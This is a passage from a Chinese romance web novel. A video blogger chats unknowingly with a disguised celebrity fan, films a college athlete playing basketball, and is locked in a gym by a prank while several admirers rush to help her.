她打着关键帧,旁边桌面放着小黄帽,平时她出门总戴许野那个咖啡帽,怕被认出来,出镜时换了个新的。 不知不觉就过了半小时,邢葵揉揉几乎没眨的眼睛,从网页端打开某抖,想看看之前视频的反馈。 哇,怎么这么多评论,哦,都是骂她的。 邢葵一下子捂住双眼,没看见没看见没看见,看不见就是不存在。 嗐,还是瞅一瞅大家在骂什么吧。 小心张开并拢的五指,邢葵从缝隙中挑着看,是因为她在视频中放了一段从《见我星辰》中截取的视频,那段剧情中,好些人作男主背景,只有男三号梁君赫配合男主言行给反应。 这不,就把“好些人”的粉丝全得罪了。 【谁拿放大镜看剧啊?故意挑刺,网上就是有你这样的人才会戾气这么重,抱走我家哥哥。】 【本来拍的就是男主,拍一天戏大家都累了,歇歇怎么了?导演都没说不过,你在这儿说上了,搞笑。】 【也许这里原本就不用有反应,某人表演欲旺盛还被你夸上了。】 邢葵叹了口气,摸摸发痒的眼睛,她哪有在挑刺,这些人语文考试阅读理解几分啊。 在骂她的甚至还有梁君赫的粉丝,说她是恶意挑拨离间,是反串黑子。服啦,就当这些事也是她天天奇妙历险的一环吧。 她要关闭评论页,忽地停下鼠标滑动,有一个奇怪的id,在一串评论里反复出现,极为显眼。 “惹我的人娶不到老婆^_^”? 这个人如同一位战斗力爆表的斗士,舌战群儒,血洗她的评论区,一句一句地维护她。 【到底谁戾气重?就你这种电子木鱼敲烂佛祖看到都要摇头。】 【哈喽?你家哥哥,是那个半夜在女演员房间里看剧本的哥哥吗?】 【赶紧抱走吧,晦气东西,抱完记得去医院挂个专家号。】 邢葵看得一愣一愣,“ta”的头像是寺庙里的挂满红绸和祈愿牌的姻缘树,为人表现得更像随地大小炸的炮仗,炸的方向是欺负她的人。 她不由脑补出了一只身上挂满鞭炮的小老虎形象,看ta冲锋陷阵,有种“谁欺负主人、主人关门放老虎”的爽感。 私信列表也有ta,ta给她发了许多条消息,多是转发的搞笑视频。 惹我的人娶不到老婆^_^:【老婆别看评论区,评论区有我,你多看看好笑的!】 惹我的人娶不到老婆^_^:【(爱你比心.gif)】 网络上交流,人们多会用“姐妹、老师、宝宝”等称呼,也有叫老婆的,邢葵不介意,看得心里一暖,点开这个人的主页瞧了瞧,空的,性别显示为女。 她退出来,斟酌了一下,给她回复:【谢谢(送你花花.jpg)】 没想到这位粉丝还在线上,立即便回应了她:【收到花花!老婆老婆,听说你今天直播了,我错过了,你明天还播吗还播吗,还看不看《见我星辰》?】 邢葵:【看,还有一集大结局。】 惹我的人娶不到老婆^_^:【那看完了看什么?还看梁君赫吗?】 呃……这人是不是梁君赫粉丝啊?邢葵揣度了下:【可以,但他没东西可看啊,综艺不是停拍了吗?】 惹我的人娶不到老婆^_^:【他马上就回去拍!】 邢葵:? 【我是说,他也失踪够久了,该回来了。】 这样啊,也是,明星能离开公众视野多久,邢葵挠挠额角,继续回复:【那距离综艺拍完剪完播出也要很多个月,太远了。】 【不会!有二十四小时直播!】 什么?还有这种事?邢葵搜了搜,还真有类似的新闻,是很久以前营销号传的,官方没出来实证过,可能这位粉丝太喜欢梁君赫了,才如此笃定地和她讲吧。 她想了想,决定友善终止话题,编辑信息道:【好滴,知道啦,谢谢宝宝~】 雪白的房间内置满招桃花物件,桌上养着桃花,墙边的麻绳挂着草莓晶,梁君赫抱着坠桃花符挂件的手机,唇角止不住地上扬、再上扬,露出尖尖白白的小虎牙。 旋即,他奔下床,直冲向还在吃晚饭的他姐梁昭然及姐夫,拍上桌面:“姐!不和周梨炒cp,我同意做二十四小时直播!用这个换!” 梁昭然呛到,身旁丈夫抚她的背,她惊愕得来不及擦嘴:“你不是说死也不肯做吗?你说二十四小时都在镜头下,不如拿根绳子送你上吊。” “现在不一样了。”梁君赫站直,叉腰,白得似立在餐桌旁的光源,“我老婆要素材。” 梁昭然:“……”发什么神经,“你愿意当然好,我这就安排,但你可得想好了,拍摄时收住你的脾气,别遇到看不顺眼的就管不住嘴。” 梁君赫点头,为了老婆,他勉为其难忍一下,老婆喊他宝宝耶:“我今晚就回去!” 梁昭然:“……”这还是她弟吗? 梁君赫说完,重新视线黏糊糊地盯着手机,他在几个小时内刷完了天天奇妙历险在某抖上的所有视频,她和邢葵有着相似的经历,讲话语调也和邢葵很像。 但人家是真坚韧、真温柔、真善良,不像邢葵,虚伪钓钓钓,钓到他兄长反目,人家是旗舰店顶级高配版邢葵plus。 哼,老婆还会在网上替他说话保护他,邢葵抠到他纽扣差点断掉! 想想还痛呢,梁君赫捂住胸口,凝望着天天奇妙历险发给他的最后两个字,宝宝~嘿,宝宝~甜~嘻嘻~ 他笑成他的昵称后缀:^_^。 那厢,邢葵只当“惹我的人娶不到老婆^_^”是梁君赫的忠实粉丝,发完一句便靠到椅子上,没把综艺会二十四小时直播的事当真。 她真需要新素材来维持更新,运动会相关被话痨男删光,讨人厌的话痨男,她得想些新的,要不去京江大找胡安帮她再拍一遍? 貌似能成,可是见过许野,胡安就不再是最优选,要不她问问许野能不能帮她拍? 主意冒出脑海,极快地占据最高峰,邢葵激动地冲到厨房,双手按上切菜台:“江医生!你知道怎么才能加上许野吗?” 江玉鸣正在将莴笋炒肉装盘,闻言动作微停,若有所思地垂下狭长惑人的眸子:“你想找他做你新的假结婚对象?葵葵,我不同意哦。” 第46章 他话一出,邢葵都呆了一下,单手按在切菜台,前倾上身,伸手够到江玉鸣额头:“温度正常,你没发烧呀,脑子怎么比我个伤患还糊涂。” 她放下手,和颜悦色,“我半小时前才亲过你,我要决定让许野做新的假结婚对象,刚刚干嘛亲你,这是不对的。” 她想解释找许野是为拍素材,怎料,江玉鸣扬着音调“哦”了一声:“你是说,你有新目标就不亲我了,葵葵,这样才是不对的。” 邢葵都不敢信听到的:“你不要试图带歪我的三观!” 江玉鸣语调轻慢:“我三观很正啊,你找人假结婚走形式,和我亲亲走实质,毫不冲突,符合法律、符合道德,不信你问问网友,看他们会不会举双手赞成。” 是吗?邢葵抓了抓头,是吗? 江玉鸣眼睛一眯,目光黏稠起来:“除非你又要对假结婚目标动心,葵葵,你不会吧?” 一种危险的感觉藏在他的视线中,邢葵想起找周镜假结婚那会儿,江玉鸣似对她对周镜动心非常不满:“你不同意我找许野,是觉得我会对许野动心吗?我找许野不是——” “葵葵,你没正面回答我的问题。”江玉鸣打断她,“我问你,能不能管住你的心。” 邢葵噎了噎,低头看地面,踢脚:“我又不是机器人,未来怎样我怎么知道。” 江玉鸣垂眸,拿勺盛汤:“笨蛋,我不清楚吗?撒谎哄哄我能怎样。” “那我重新答?” “晚了。”江玉鸣将烧好的食物一起放餐盘上,端起盘子,“葵葵的真诚如煮沸的水泼上我的心,我心已死。” “别死呀!快活过来!”她还想加许野!邢葵离开切菜台,追在端菜的江玉鸣后面,“你可以教我怎么答,上学的时候老师经常夸我学习能力强,我能给你表演举一反三。” 江玉鸣顿足,邢葵撞上他的后背,他回过身:“不能反三,葵葵要喜欢上别人了,我还要当三。” 哈?太难评了,就算江玉鸣让她说谎哄哄他,邢葵也实在无法接受劈腿,在嘴里憋了好久谎,最后还是难以启齿地讲了实话:“你这样我会踹断你。” 江玉鸣笑,将端菜盘放上餐桌,旋即,笑眯眯转到她身后,捧住她两肩,唇贴到她耳边:“就你那点力气,你只会踹爽我。” 邢葵眼睛瞪大,从未见过如此厚颜无耻之人!耳廓热息未消,她被他推着坐上椅子,桌面是她气恼时随口要的三菜一汤。 番茄炒鸡蛋、莴苣炒肉、土豆泥沙拉、菠菜汤,温暖的香气冉冉蒸腾着,将邢葵心里的气也蒸出来。 她无奈呼吸,昂头,向背后江玉鸣招招手,装作说话,忽地啄上他嘴角:“无论未来怎样,江医生,现在,我家里只有你。我找许野是想请他拍素材,别吃醋了哦。” 是一个蜻蜓点水的啄,碰了下江玉鸣的唇角就离去,可江玉鸣却怔了怔,一秒后,他的手掌捧上邢葵的脸,唇肉也压住她的唇肉。 碾压、吸吮、攻击性强的深入,已经够深入还不停止,两掌从她的脸颊下移,落到腰间,捧起她,将她抱腿上坐下。 再重新覆盖她的脸,白皙的长指按得她颊肉凹陷,江玉鸣不断加热这个湿绵绵的吻:“我帮你加许野,但你要牢牢记住,家里有我。” “什么呀,唔。”邢葵在潮黏中感受着唇中舌头起伏,发音都困难,“都说了我对许野没那意思,我要吃晚饭……” “不可以有……乖葵葵,先吃我。” 玫瑰花TOP1备忘录更改: 5/40, 0/7。 第二天,邢葵刷完牙都觉得嘴里还残留玫瑰味,捂捂脸,为了加上许野她可真是太努力了。 话说回来,许野瞧着野蛮强势,十足校霸风格,意外特别听兄长的话,江玉鸣就发了一个“加”字,他就通过了邢葵的好友申请。 将近中午时分,深红色跑道头像重新出现在邢葵微信列表。 饭桌边上,邢葵吃着江玉鸣准备好的午饭,将玉米奶油卷的钱转给许野:【收完红包别删!我找你有事!】 许野回复得很简洁:【说。】 邢葵斟酌片刻,她想拍许野的身体,这种请求当面讲更加诚恳,于是回道:【我当面跟你说吧,今天周六,有空见一面吗?】 “今天周六,我要去操场跑步,你们去吗?”许野在电脑桌前转过身,宿舍里其他三位室友都在,四个人都是田径社成员。 “开玩笑吧,许哥,周六哎,我们报田径社纯粹是凑个热闹,又不像你专业的要打比赛。” “我看不如我们几个晚上去吃火锅,美食城那边新开了一家。” “好好好,这个主意好。” 许野猎豹般凶猛的眼神看着他们,缓慢压身,十指相扣。 “……也、也不是不能跑。” “对对对,跑完了再去吃,哈!哈哈!” 得到正向答案,许野松手,宽阔的后背 上抬,有力的腿站起:“那就待会儿操场见,晚上火锅我付钱,你们随便点。” 他走进卫生间,三名室友火速聚在一起,小声讨论起来:“你俩觉不觉得许哥挺有钱的?他食堂点菜每次都点满满一盘!” “可他穿的鞋都没牌子,出门骑共享单车。” “那或许是有钱人的小癖好,上回艺术系那个女生,送他金诺言的限定蛋糕,就那么一小块,四位数,他看都没看就走过去了。” “那可能是他不识货?” “……嘶,说不定是,四位数的蛋糕啊,搁我我包装都要舔一遍。” 金诺言董事长独子许野在洗手池边用冷水洗了把脸,浇灭和小蛋糕再次加上好友带来的燥热感。 什么蛋糕?许野竖起耳朵听见门外谈论,有人给他送过吗?他们这么喜欢,小蛋糕会喜欢吗? 他拨了个电话:“喂,家里有哪种蛋糕是四位数、限定款吗?送一份给我。” 邢葵抵达京江大的时候已是下午,今日是个温度适宜的多云天,操场挺多人,有人在打篮球,有人在观众席约会,跑道旁许野和他的咸鱼室友对比强烈。 许野长手长脚,肌肉突出,无论坐站都释放着压倒性的荷尔蒙,何况他正在做他擅长的事:奔跑。 感觉一阵狂风窜了出去,一百米跑,他用了超过十秒吗? “卧槽,你们看,我说许哥干嘛叫咱们来操场,原来是他喜欢的那个妹子要来。” “许哥不是说不喜欢是误会吗?叫咱们来不想和她独处?” 许野从终点跑回来,邢葵走向起点,友好打招呼:“你们好。”她特意带了些矿泉水,递给他们。 几名室友接过来道谢:“客气客气,你要不要吃蛋糕,喏,那个,许哥爱慕者送的。” 许野懵圈止步。 “前段时间就送过,许哥今儿竟然收了,一看就是为你收的,要不要尝尝?” 许野额角跳动,前方,邢葵不自然地摸摸后颈:“拿别人的心意送我,不太好吧?” 他正要跑过去解释,那是他让师傅现做的,猜想她会喜欢的水蜜桃口味,才不是别人送的,邢葵放下手,“我觉得你们可能误会了,虽然我和许野没接触过几次,但他不像这种人。” 确信的声音钻进耳朵,许野小麦色的脸颊充上红霞,少年烦躁地揉揉头,压制住他发悸的心。 “找我干嘛。”邢葵身后,许野凶凶闷闷地发言,大步迈上前,大手拿起蛋糕盒塞进她怀里,“我买的,别跟周哥说我欺负你。” 邢葵抱住蛋糕,瞅见上面“GPROMISE”的logo,说来,许野的帽子也和金诺言有关。周镜全球顶级律师,家庭背景非凡,江玉鸣全球连锁辉德医院继承人,都是兄弟,许野不会是金诺言什么大股东的儿子吧? 念头一闪而逝,许野的身份不影响她来的目的:“能借一步说话吗?” “不能。”就是不想和邢葵单独相处,许野才叫来室友,还将见面地点设为操场,“有话直说。” 邢葵为难:“不方便……要不,你低下来一点?” 她满眼希冀地望着许野,想套住他的耳朵讲话,许野嘴角下撇,偌大操场,人来人往,说点悄悄话不算亲密吧?厉哥周哥不会介意对吧? 他弯曲小麦色的膝盖:“快点说!” 没料到许野还挺好说话,邢葵欣喜凑到他耳边:“我想请你帮我拍自媒体用的素材,我想拍你的胸腹。” 许野:“!” 邢葵眸子亮闪闪地盯着就在近处的许野,拍摄部位是私密了些,不便在旁人面前直讲,但对许野来说应当是能接受的。 早前运动会上,她有听到学生们谈论,说许野常年打比赛,也就是说他常年都在镜头下。 “不可以。”许野肃声拒绝。 “为什么!”邢葵不敢相信,昂起声调又压低,“我会给报酬的,我不白嫖。” 为什么,她还问为什么,她对她的身份一点数都没有吗? 这不是给不给钱的问题,邢葵全部身家加起来,估计都不及许野家里鱼缸里的一条鱼。 “我不同意。”许野揉了下耳朵,迈腿走回跑道,弯下腰,一副即将跑步的样子。 邢葵无奈坐到操场旁边的长椅上,大庭广众下谈话不便,许野不配合,她没法儿追上去多说,看看能不能等到只有他一个人的时候吧。 几个小时后饿了,邢葵拆开蛋糕,刚要尝一尝,停住,她现今是个博主,得有博主的自觉性。 先拍照片,发个小红薯。让她想想文案,蛋糕是一人份,干脆就趁此和粉丝交代下分手好了。 【单身蛋糕。】 发完,邢葵拿起蓝色的小叉子,小拇指因为期待翘起来。这块蛋糕看着就好吃,三角形状,粉色的,上层铺着一些水蜜桃碎和用于装饰的薄荷叶,四周用白色奶油雕出云朵。 切下一小块,里头是流动的冰淇淋。 吃上一口,甜蜜又不过分甜腻的感觉在味蕾炸开,邢葵上弯唇角,眼睛眯起,心都要和冰淇淋一样融化。 跑道上,许野调整着起跑姿势,余光落在不远处邢葵身上,她的笑脸绽开,他往下撇的嘴角也偷偷上扬一点弧度。 他跑出去,与此同时,一名身形清秀的男生向邢葵走去:“邢、葵?” “嗯?”邢葵仰起脸。 “真是你!”男生神容惊喜,“我竟然能再见到你!” 你谁啊?邢葵盯着他,困惑,个子挺高的,脸好像在哪儿见过:“你是那个、那个,洪宇?”会所那个男模。 “对!你还记得我。”宋弘宇激动,往身上擦了两下手,伸出,“你好,正式介绍一下,我叫宋弘宇。” 出于礼貌,邢葵握了握他的指头:“你好呀。” 宋弘宇脸红,他见邢葵那时,她没戴帽子,他还嫌弃过她丑,后来想想真希望时间倒流,回过去抽他自己一巴掌:“我特别想再见你,我、我已经不在那里打工了,多亏你,点的酒让我抽成了许多钱,付上了我妈的医药费。” 这茬邢葵压根不记得了,于她就是随口的小事,宋弘宇提起,她才隐约生出点印象:“一瓶酒钱就够了吗?” “够了,那瓶酒让我挣了几十万,医保也报销了很多。” 什么酒啊这么贵!邢葵暗自懊恼,早知道她走的时候应该揣走啊!她叉了块甜的蛋糕送嘴里,突然看向宋弘宇。 其实宋弘宇形象也不错,清爽气泡水风格男大,论分数可以做许野平替。 来都来了,不能一无所获,邢葵站起身:“你妈妈的病还缺钱不,我手上有个活……” 一点奶油沾在邢葵唇瓣,宋弘宇恍神,没听她讲话,伸出手指…… 正在这时,一只强壮有力的手囚住宋弘宇手腕,推开人:“对女生动手动脚要干什么。” 第47章 许野的臂膀充满无法抵抗的力量,感觉他都没用劲,宋弘宇就被推得要跌倒。 脸被影子盖住,邢葵懵了一瞬,上前解围:“没事啦,是误会,他是……”在会所打工不大光彩,当时许野来救她,宋弘宇也是躲起来的,“他是我朋友。” 宋弘宇站稳,一喜,迫不及待想和人炫耀,向许野道:“听到没,我们是朋友。” 他语气中的高兴有耳共听,邢葵也听了出来,既然他这么开心和她做朋友,那想必她邀请他拍素材也能点头吧,邢葵趁热打铁:“我刚刚想说——” 许野打断她的铁:“是朋友就能动手动脚了?” 他质问着,浓眉紧锁,深褐色的瞳仁视线好比尖锐铁钉,盯着宋弘宇,横在邢葵和他之间,寸步不移。 宋弘宇还沉浸在喜悦中,顶住许野的目光压力,语调轻快:“不是故意,邢葵,沾到奶油了,擦擦。” “啊,是这样。”邢葵快速用手背擦嘴,“我刚刚想说——” “你哪位?”许野再次打断她的铁。 “许哥,是大三宋弘宇。”三名室友走过来,围在许野旁边与他同仇敌忾,更点出宋弘宇身份。听这话,好似宋弘宇在京江大还是个名人。 然而,许野压着眉,根 本不认识对方。 宋弘宇不喜悦了。 室友惊诧:“总有人拿他和你比,比较你俩谁是咱们学校最帅,许哥不知道?” 显然许野毫不关心校内议论,他没回答问题,而是皱着剑眉扫了眼宋弘宇的脸,面颊绷起的肌肉动了动:“这有争议?” 宋弘宇脸都僵了。 邢葵想笑,她相信许野不是在嚣张挑衅,就只是在朴素地发问,但就是这样才更显嚣张。 是没争议,这会儿许野和宋弘宇站在一处,对比强烈,许野剑眉深目、人高马大,如同驰骋沙场的猛将,是罕见的五星级野性帅,而宋弘宇,只是四星级气泡水。 但气泡水也有人喜欢呀,看宋弘宇表情,明显认识许野,或许私下甚至将他视作敌人,不料,许野非但不清楚他的存在,知悉后也没将他当回事,她要是宋弘宇,她得气死。 不过邢葵可不能笑,她还指望请宋弘宇拍素材:“宋弘宇,我刚才想说——” 许野:“我管他是谁。” 想讲的话再次堵在嘴里,邢葵揪起眉心,瞄了下许野,他怎么老打断她,第三次了,都第三次了。 他又不肯帮她拍东西,邢葵思索一下,伸手,极轻地扯了扯许野衣裳,揽到他的关注,她道:“你回去跑步吧。” 许野:“……”邢!葵! 小学课堂都教过一个成语:三顾茅庐。他知道她想和宋弘宇聊什么,他就跑了几个小时的步,她就要改拍宋弘宇的腹肌。 眼前这根豆芽菜有个鬼的腹肌,许野厌恶的目光从宋弘宇的头扫到脚,头、肩膀、腰、腿……这根豆芽菜哪一样比得过他? 邢葵也是清楚的,但她不一定非要拍腹肌呀,运动系有运动系的拍法,气泡水有气泡水的拍法,总之她可不要白来京江大一趟。 “宋弘宇。”邢葵再次喊他的名字。 “我知道。”宋弘宇温和点头,这一回,他抢在许野前先夺走话茬,“我听到你说有个活找我,什么活?我赶着去篮球馆,你方便和我一起、在路上跟我讲讲吗?” “那好呀!”邢葵满意转身,去装她还没吃完的蛋糕。 而她甫一转过去,宋弘宇便有意无意瞥起许野,方才他有些丧失表情管理,其实没必要,他论长相是比不过许野,可邢葵又不是外貌至上主义者。 宋弘宇想到会所相遇,邢葵帽子下有一条超过十厘米的疤痕,她都没为此自卑……带邢葵来的短发女是想逼她和哥哥分手,所以她有男朋友…… “你去篮球馆是去打篮球吗?”邢葵收拾好东西。 “是,我朋友想打,缺人,便叫我。”宋弘宇回答。 “欸?那我能坐观众席吗?”打篮球多适合拍素材! “当然能,打得不好,你可给我留点面子,不能笑啊。” “不会的,许野拜拜。”两人有说有笑地走,邢葵想起还没告别,回头在阳光下笑着招招手,又转回头,继续和宋弘宇聊天。 这一回,轮到许野丧失表情管理,他眉梢沉沉,嘴角绷紧,看着邢葵笑得鬓边碎发轻颤,宋弘宇更神情羞涩,一副处在暗恋中的模样。 一个念头涌上:他不能让厉哥的前未婚妻、周哥的现任女友,和这个男人接触。 许野拧眉,睨向三名咸鱼室友:“想不想打篮球?” 咸鱼分别露出“婉拒”、“no”、“绝对不要”的眼神。 许野:“既然这样我们也去吧。” 咸鱼:“?”Hello? 邢葵在前方走着,思考如何向宋弘宇开口,眼角余光忽然闯进小麦色,许野和他的三名室友跟上来,表示他们也想去运动运动。 宋弘宇含笑应下,他在会所打牌曾输给邢葵男友,但在他看来那是偶然,人外有人天外有天,那位的智商出乎他的预计。 而篮球可是他的强项,许野四个玩田径的,打篮球的规则都不一定了解,刚好给他表现机会。 殊不知,许野凑在邢葵身侧,极轻地说了两个字:“拍我。” 邢葵错愕,下一秒,欢喜如铃铛在脑海摇震,许野让她拍他打篮球!哇,太好了!宋弘宇是谁?不需要了! 宋弘宇不知噩耗,还在与邢葵套近乎:“对了邢葵,你是哪个学院的?” 邢葵闻言,绽开笑:“我不是学生啦,我已经毕业好些年了。” 什么?!宋弘宇呆若木鸡,许野的三名室友也变了脸色,邢葵满脸胶原蛋白,他们在学校见到她都没往她已经毕业想,那她的年纪岂不是比他们…… 只有许野没反应,他无所谓。 宋弘宇几秒后也回过神,他进会所当男模那时就调低了他的下限增加了他的脸皮厚度,明知邢葵有男友他也想追,还怕年龄? 篮球馆,年轻活力十足的大学生们追逐着橙色的篮球奔跑,心怀不轨的宋弘宇竭尽全力耍帅,吸引观众席邢葵的注意。 邢葵举着手机拍许野,她对篮球没兴趣也一窍不通,只在意素材,眼看屏幕中照进看她的宋弘宇,便歪头扯起嘴角,客套地对他笑笑。 下一瞬,宋弘宇手中的球被人夺走,许野身姿矫健,如闪电接连跃过数人,跳起灌篮,橙色的篮球穿过篮网,篮框和观者的心一齐震颤。 四周欢呼声响彻,邢葵目不转睛,她看不懂篮球,只是本能地觉得、甚至近乎实质地看到了,性张力。 篮球落地,许野也飒爽落地,侧头向她望来,发力后的肌肉鼓动流汗,衬得视线也有种炽热感。 镜头应该都拍到了,邢葵与许野目光交汇,不好意思地低下头,检查拍到的画面。 场上依旧热情洋溢,宋弘宇咬了咬牙,追击落下的篮球,许野不是练跑步的吗?怎么连篮球都擅长! “别瞅呆了,我们许哥擅长所有运动。”上场凑人数的室友道。 “反正我没见过他有不会的。” “我经常怀疑,他跑步只是在一堆擅长的中选了个最感兴趣的。” 几次奔跑,许野和宋弘宇隔着球对峙上,汗水沐湿许野额间碎发,他冷冷地瞧着宋弘宇:“收收你的心思,她有男朋友。” 宋弘宇喘气,和许野抢球,不服地回应:“那又如何?我这辈子不会遇到比她更好的人,我不抢才蠢,我给她当三都行。” 许野:“你还想当三?” 宋弘宇:“当然!没听过一句话吗?放弃者注定得不到,而我又争又抢,最终结局还不一定。” 许野弯腰,本能架起防御姿态,既是防被抢球,也是抵御宋弘宇说的话,不能听,梁君赫说过,当三当四的人臭不要脸。 浑不知,观众席上,邢葵正在和不要脸的梁君赫聊天。当然她不清楚“惹我的人娶不到老婆_”是梁君赫,梁君赫也不清楚“天天奇妙历险”背后是她。 【老婆老婆,我看到你最新笔记了,蛋糕那条,恭喜老婆分手,单身快乐!】 【(狗狗打滚.gif)】 怎么感觉她分个手,这位粉丝这么开心? 可能对方也意识到了,很快又发: 【老婆别难过,下一个更乖。】 【(狗狗乖巧.gif)】 这还差不多,邢葵本不想和粉丝聊太多,但这姑娘嘴甜,表情包也超可爱,她瞧着心里高兴,便也回了个送花花图。 【老婆!】 【(狗狗收花.gif)】 【你在干什么呀,我看你拍的蛋糕图,背景是室外(对手指emoji)】 邢葵瞄了眼场上,嚯,许野又进了一球,她决定和小粉丝分享一下:【在看篮球赛,刚进球的男生很帅。】 远在冰岛的梁君赫:“?” 刚下 飞机的他停下脚步,顶着一头粉发,推了下鼻梁墨镜,踩着贴桃花贴纸的行李箱滚轮,打字。 【老婆!梁君赫也会打篮球!他进球超帅的!】 邢葵:“……”这人果然是梁君赫铁杆粉丝。 冰岛机场,梁君赫看了下身边来接机的胖子经纪人王姐:“发个通稿,说我会打篮球。” 王姐:“行……等一下,你会打吗?”她两只圆溜溜的眼睛瞪得更圆,露出吃惊的表情,“你不是除了保持身材的锻炼,其他任何运动都不碰吗?你说怕受伤破相,影响你的桃花运。” 她一口气讲完,看不靠谱大少爷的眼神多出几分认可,“原来你会,你只是不做。” “我不会啊。” 梁君赫一本正经,“我从今天开始学打篮球,不知道哪个贱人用打篮球勾引我老婆,我打肯定比他帅。” “……”大少爷,我服气。 下午六点,篮球赛以许野带队ko对方结束,宋弘宇狼狈喘气,清俊的面容覆满汗水,反观许野,虽也流汗喘息,却透着种轻松拿下一局的感觉。 两名领队站在一起,貌似说了什么。 观众席,邢葵拍到许多精彩画面,粗略查看完,笑盈盈抬头,就见许野脸色骤变,接着,奇奇怪怪望了她一眼,就走出篮球馆。 邢葵不明所以,还想拍些细节图,要追上去,一名室友拦下她,男生因为刚打完篮球脸上都是汗,冲她笑:“咱们去洗澡,你就别跟了,在这儿等着吧。” 洗澡啊,那好吧。邢葵老实坐回原位,都一下午了,也不在乎这一时,好在她腿伤好多了。 就是坐的时间长,膝盖仍会酸胀,篮球馆的大门关上,邢葵环顾四周,确定一个人都没有,悄悄把腿搬起来,放在没人的座椅上,舒坦地弯起嘴角。 篮球馆外,离开的许野径直冲往楼下,面色冷峻。刚刚宋弘宇咬着牙对他说:“别得意,不过赢了一场篮球赛,我能当三,你能吗?” 笑话,他又不喜欢邢葵!同意邢葵拍他打篮球,也是为了哥哥们,他很讲义气,不能让嫂子去拍不三不四的野男人。 而且周镜是三,他要当只能排四。 “许哥,手机,你手机没拿。”室友从后面追上,递来手机。 许野单手接过,屏幕上有条消息,来自“甜甜的恋爱会找上我”,梁君赫认为这个微信昵称能给他带来桃花运,不准别人加了他后改备注。 【教哥打篮球。】 许野疑惑地压了下浓眉,没往心里去,这会儿他有更在意的事,大拇指按着屏幕,迅速给梁君赫发去信息:【当三当四很无耻,是不是?】 熟料,此前说话滔滔不绝的梁君赫却停了几秒才回复:【这个啊,周哥都当三了,说明当三也不一定无耻。】(他想当“天天奇妙历险”的三) 【当然当四绝对臭不要脸!许野你怎么问这个问题?邢葵去钓你了?你可千万稳住,千万要学习你梁哥,绝不会为她那种海王动心。】 【她坐我怀里我都能把她推下去。】 【爹的,我这么优质守男德的男人一定会娶到老婆的。】 【记得教我打篮球,我要学几个帅的动作,有贱人诱惑我未来老婆,哥要让他自惭形秽!】 许野盯着那句“当四绝对臭不要脸”,下面梁君赫的啰哩啰嗦一个字都没看进去,说得对,不管怎样,既是兄弟,绝不能对嫂子心动。 “许哥。”三名室友先后到齐,刚拦邢葵的室友挤出讨好的笑,“可以去吃火锅了吧,一开始就说过你要请咱们宿舍吃火锅。” 太阳逐渐落山,天色越来越暗,温度也下降,有点冷,篮球馆里,邢葵拢了拢单薄的杏黄色外套,望着窗外暗蓝的天。 男生又没有长长的头发,洗个澡比她花的时间还长。 算了,先去食堂吃个晚饭吧。 邢葵摸摸肚子,起身,仔细擦干净她刚放过腿的椅面,将吃完蛋糕剩下的垃圾清理进垃圾桶,走向篮球馆的门,抓住把手一拽。 拽不动,金属锁撞门的声音响起,邢葵短暂懵圈,又拉了一下门,锁撞门的声音再度响起。 只有一个人的室内,她真的懵住了,第三次拉了下门。依然有锁撞门,哐当、哐当、哐当。 有人锁了门,锁之前能不能跟她商量下?江玉鸣晚上有手术,不能来接她啊! 篮球馆内安静得只听见锁撞门的回声,美食城火锅店却热闹非凡,服务员端上铺满肉的餐盘:“您的菜齐了。” 火锅热气蒸腾,许野闷闷地扒着一大碗白米饭,室友夹了一筷子肥牛放翻滚泡泡的辣锅里烫,瞄了眼他:“许哥,还郁闷呢?兄弟懂你,被老女人缠上是挺让人郁闷的。” 许野扒饭动作一滞,上掀眼皮。 “你说说,真,人不可貌相啊,咱们才大一下半年,她毕业好几年,至少比咱们大五岁,怎么好意思围在你身边。” 室友对许野真正的情绪浑然未察,在火锅里翻找着吃的,得意洋洋摇头晃脑,“兄弟今天帮你了啊,我把她锁篮球馆了,她应该懂你的态度了,明天之后就不会再来烦你了。” 许野猛地站起,筷子从碗上掉到桌面再摔到地上,摔出脆响:“谁让你干的?” 室友一抖:“你不是说不喜欢她、是误会吗?没事,她又不会被锁多久,打扫的人看到就放她出来了。” “你蠢啊!今天周六,清洁工放假!” 室友没想到这点,当即惶恐起来,畏惧担责中来了脾气:“你凶什么凶,我也是为你好,你他妈才十九岁被老女人缠上,我他妈好心帮你。” 哗声一片,许野端起他那碗饭,大手一翻盖室友头上。 瓷碗敲得头响,许野揪起室友领子,脖颈经脉颤动,褐瞳都仿佛烧灼怒焰,像被附了魔的凶兽。 “你给我听好了,我比她小,那是我投胎时跑慢了,是我的问题,再让我听到你侮辱她的年纪一句,我扯下你的舌头喂狗。” 他扔开人,转头就走,许野话少,看起来也不好惹,但还是头一回真真实实发火,三名室友都被吓到了,愣在原地。 好一会儿才有人结结巴巴:“他、他跑了,火锅钱谁结啊?” 另一名室友看向锁门的室友:“哎,你说你,你最好祈祷邢葵别出事,不然许哥肯定会报警让你蹲局子。” 黑暗压进篮球馆,连续三次拉门,邢葵在确认门真被锁上后,脑补了许多鬼故事。 红衣学姐、猛鬼篮球馆……她本来就脑受损,容易乱七八糟地想,胆怯地觑看身后空旷,总觉背后发凉。 一时间邢葵不知该联系谁。门大概率是许野室友锁的,最好别联系许野,微信列表身处京江市的人不多……指尖划到某个系统默认灰色人像头上,房东能帮她吗? 清冷的月光照着高楼大厦,第九层会议室内白炽灯光明亮,厉乘川正在开会。 茉河区有块地皮遭人抢拍,打乱了鼎天集团在那里建度假村的计划,本没什么,竞争对手财力有限,厉乘川可以出更高的价将地皮使用权拿回来,上层人很少浪费时间在用钱能解决的事上,但是—— 兄弟抢他未婚妻,根本入不了他眼的人也配抢他地皮? 宁肯麻烦一些,厉乘川也要让暗中使坏的对手付出代价。 黑西装口袋中手机亮了亮,厉乘川没空理会,又亮了亮,他不耐地取出来,谁找死撞他枪口。 会议桌两排的人们同时噤声,鬼鬼祟祟地对眼神,为打电话的人默哀,甚至表以同情。 他们在这儿开会好歹有加班费,打电话的人是纯衰啊。 哎,但看厉乘川冲别人发火还是很爽的。 他们偷偷地瞧,助理陈泉都能想象得到,厉总接起电话后,会冷着完美的脸听对方讲三秒钟,然后张开薄唇让对方滚。 一秒、两秒、三秒,厉乘川站起身,径直走向会议室的门:“手机还有多少电,别挂电话 ,我马上来。” 太阳打西边出来了!众人难以置信到说不出话,有人脑子转得快,伸指:“我赌,绝对是已经退居幕后的厉董事长。” 陈泉:“……”呵呵哒,绝对是邢姐。 就算是厉董天大的事也得等厉乘川开完会,只有邢姐能得到一句“马上来”。 厉乘川下楼;许野离开火锅店。 高速公路,厉乘川将速度提到符合交通法的最大;美食城,许野一路狂奔。 